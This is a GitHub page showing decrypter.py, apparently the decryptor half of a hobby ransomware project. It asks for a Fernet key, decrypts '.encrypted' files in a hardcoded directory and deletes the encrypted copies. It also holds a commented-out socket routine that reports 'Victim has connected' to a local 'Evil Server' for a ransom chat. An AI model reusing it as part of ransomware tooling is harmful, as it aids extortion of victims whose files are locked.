-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathdecrypter.py
55 lines (38 loc) · 1.49 KB
/
decrypter.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from gzip import _GzipReader
from cryptography.fernet import Fernet
import os
import socket
def TakeTheKey():
global inputkey
global inputkeybytes
inputkey = input("Enter the key")
inputkeybytes = bytes(inputkey, 'utf-8')
def LocateandDecrypt():
for fileonsys in os.listdir('/home/abis/Desktop/project'):
if fileonsys.endswith(".encrypted"):
print(os.path.join("", fileonsys))
filenames = os.path.join("", fileonsys)
with open(filenames, 'rb') as encfiles:
encryptedstuff = encfiles.read()
keytoDecrypt = Fernet(inputkeybytes)
decryptedinfo = keytoDecrypt.decrypt(encryptedstuff)
with open(filenames.rsplit( ".", 1 )[ 0 ], 'wb') as createDecrypted:
createDecrypted.write(decryptedinfo)
for fileonsys in os.listdir('/home/abis/Desktop/project'):
if fileonsys.endswith(".encrypted"):
os.remove(fileonsys)
def NewConnection():
connection = socket.socket()
connection.connect(('127.0.0.1',1000))
while True:
somedata = "Victim has connected"
connection.send(somedata.encode())
chatdata = input("connection: ")
connection.send(chatdata.encode());
if(chatdata == "exit"):
break
print( "Evil Server:",connection.recv(1024).decode())
connection.close()
#NewConnection()
TakeTheKey()
LocateandDecrypt()